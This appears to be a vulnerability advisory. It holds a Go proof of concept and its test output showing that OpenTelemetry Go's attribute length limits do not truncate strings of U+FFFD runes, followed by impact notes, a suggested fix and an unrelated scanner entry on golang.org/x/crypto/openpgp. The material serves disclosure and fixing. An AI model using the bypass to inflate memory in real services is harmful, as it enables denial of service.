lim.AttributePerLinkCountLimit = -1
lim.EventCountLimit = -1
lim.LinkCountLimit = -1
return lim
}

func captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue {
t.Helper()
sr := tracetest.NewSpanRecorder()
tp := sdktrace.NewTracerProvider(
sdktrace.WithSpanProcessor(sr),
sdktrace.WithSpanLimits(limitsWithLen(limit)),
)
defer func() { _ = tp.Shutdown(context.Background()) }()

tr := tp.Tracer("poc")
_, span := tr.Start(context.Background(), "op")
span.SetAttributes(attrs...)
span.End()

ended := sr.Ended()
if len(ended) != 1 {
t.Fatalf("expected 1 ended span, got %d", len(ended))
}
return ended[0].Attributes()
}

// TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string
// attribute composed of valid U+FFFD runes is stored completely untruncated
// although AttributeValueLengthLimit=5.
func TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) {
const limit = 5
val := strings.Repeat("\uFFFD", 1000) // 1000 chars, 3000 bytes

got := captureOneSpan(t, limit, attribute.String("k", val))
if len(got) != 1 {
t.Fatalf("expected 1 attribute, got %d", len(got))
}
stored := got[0].Value.AsString()
t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(val), len(val),
utf8.RuneCountInString(stored), len(stored), limit)
// Per OTel spec ("counting any character in it as 1") the stored value
// must be at most `limit` characters (<= 15 bytes for U+FFFD).
if maxBytes := 3 * limit; len(stored) > maxBytes {
t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)",
limit, len(stored), maxBytes)
}
}

// TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes
// are not counted in the optimistic truncation path: every U+FFFD adds 3
// uncounted bytes to the retained value.
func TestOT001_FFFDMixedStringOverRetains(t *testing.T) {
const limit = 5
val := strings.Repeat("\uFFFD", 100) + strings.Repeat("A", 6) // 106 chars, 306 bytes

got := captureOneSpan(t, limit, attribute.String("k", val))
stored := got[0].Value.AsString()
t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(val), len(val),
utf8.RuneCountInString(stored), len(stored), limit)
if chars := utf8.RuneCountInString(stored); chars > limit {
t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored",
limit, chars, len(stored))
}
}

// TestOT001_ASCIIControl is the control case: plain ASCII over-limit values
// ARE truncated, proving the length limit is active in the same setup.
func TestOT001_ASCIIControl(t *testing.T) {
const limit = 5
val := strings.Repeat("B", 20)

got := captureOneSpan(t, limit, attribute.String("k", val))
stored := got[0].Value.AsString()
t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(val), len(val),
utf8.RuneCountInString(stored), len(stored), limit)
if len(stored) != limit {
t.Fatalf("control failed: ASCII value not truncated (stored %d bytes)", len(stored))
}
}

// TestOT001_EventAttributesNotLengthTruncated documents that span-event
// attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate
// call in recordingSpan.addEvent).
func TestOT001_EventAttributesNotLengthTruncated(t *testing.T) {
const limit = 5
val := strings.Repeat("C", 100)

sr := tracetest.NewSpanRecorder()
tp := sdktrace.NewTracerProvider(
sdktrace.WithSpanProcessor(sr),
sdktrace.WithSpanLimits(limitsWithLen(limit)),
)
defer func() { _ = tp.Shutdown(context.Background()) }()
tr := tp.Tracer("poc")
_, span := tr.Start(context.Background(), "op")
span.AddEvent("ev", trace.WithAttributes(attribute.String("k", val)))
span.End()

ended := sr.Ended()
events := ended[0].Events()
if len(events) != 1 {
t.Fatalf("expected 1 event, got %d", len(events))
}
stored := events[0].Attributes[0].Value.AsString()
t.Logf("event attribute input: %d bytes; stored: %d bytes; limit=%d", len(val), len(stored), limit)
if len(stored) > limit {
t.Logf("CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)", len(stored), limit)
}
}

(The -run pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.)

otelgo_log_truncate_test.go:

package otelpoc

import (
"context"
"strings"
"sync"
"testing"
"unicode/utf8"

"go.opentelemetry.io/otel/attribute"
apisdk "go.opentelemetry.io/otel/log"
sdklog "go.opentelemetry.io/otel/sdk/log"
)

type captureProcessor struct {
mu sync.Mutex
recs []*sdklog.Record
}

func (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true }

func (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error {
c.mu.Lock()
defer c.mu.Unlock()
clone := r.Clone()
c.recs = append(c.recs, &clone)
return nil
}

func (c *captureProcessor) Shutdown(context.Context) error { return nil }
func (c *captureProcessor) ForceFlush(context.Context) error {
return nil
}

// TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against
// the sdk/log attribute path (sdk/log/internal/attrnorm, same template).
func TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) {
const limit = 5
cp := &captureProcessor{}
lp := sdklog.NewLoggerProvider(
sdklog.WithProcessor(cp),
sdklog.WithAttributeValueLengthLimit(limit),
)
defer func() { _ = lp.Shutdown(context.Background()) }()

logger := lp.Logger("poc")
var r apisdk.Record
r.SetSeverity(apisdk.SeverityInfo)
r.AddAttributes(attribute.String("k", strings.Repeat("\uFFFD", 1000)))
logger.Emit(context.Background(), r)

cp.mu.Lock()
if len(cp.recs) != 1 {
t.Fatalf("expected 1 record, got %d", len(cp.recs))
}
rec := cp.recs[0]
cp.mu.Unlock()

stored := ""
rec.WalkAttributes(func(kv attribute.KeyValue) bool {
if string(kv.Key) == "k" {
stored = kv.Value.AsString()
}
return true
})
t.Logf("sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(stored), len(stored), limit)
if maxBytes := 3 * limit; len(stored) > maxBytes {
t.Fatalf("BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)",
limit, len(stored), maxBytes)
}
}

Run:

go mod tidy
go test -count=1 -v -run "TestOT001_FFFDOnlyStringBypassesTraceLengthLimit|TestOT001_FFFDMixedStringOverRetains|TestOT001_ASCIIControl|TestOT001_FFFDOnlyStringBypassesLogLengthLimit" .

Expected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the FAIL otelpoc summary line):

=== RUN TestOT001_FFFDOnlyStringBypassesLogLengthLimit
otelgo_log_truncate_test.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5
otelgo_log_truncate_test.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)
--- FAIL: TestOT001_FFFDOnlyStringBypassesLogLengthLimit (0.00s)
=== RUN TestOT001_FFFDOnlyStringBypassesTraceLengthLimit
otelgo_truncate_test.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5
otelgo_truncate_test.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)
--- FAIL: TestOT001_FFFDOnlyStringBypassesTraceLengthLimit (0.00s)
=== RUN TestOT001_FFFDMixedStringOverRetains
otelgo_truncate_test.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5
otelgo_truncate_test.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored
--- FAIL: TestOT001_FFFDMixedStringOverRetains (0.00s)
=== RUN TestOT001_ASCIIControl
otelgo_truncate_test.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5
--- PASS: TestOT001_ASCIIControl (0.00s)
FAIL
FAIL otelpoc 0.059s
FAIL

The mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters.

Impact​

Applications that enable AttributeValueLengthLimit (or WithAttributeValueLengthLimit for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected.

Suggested fix​

In the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current truncate_test.go has no U+FFFD case).

critical: 0 high: 0 medium: 0 low: 0 unspecified: 1golang.org/x/crypto 0.57.0 (golang)

pkg:golang/golang.org/x/crypto@0.57.0
unspecified : GO--2026--5932

Affected range<0.58.1-0.20261009181718-2f1f834330b2
Fixed version0.58.1-0.20261009181718-2f1f834330b2
Description

The golang.org/x/crypto/openpgp package is unsafe by design, has numerous known security issues, is not maintained, and should not be used.

If you are required to interoperate with OpenPGP systems and need a maintained package, consider github.com/ProtonMail/go-crypto/openpgp which is a maintained fork that aims to be a drop-in replacement for this package.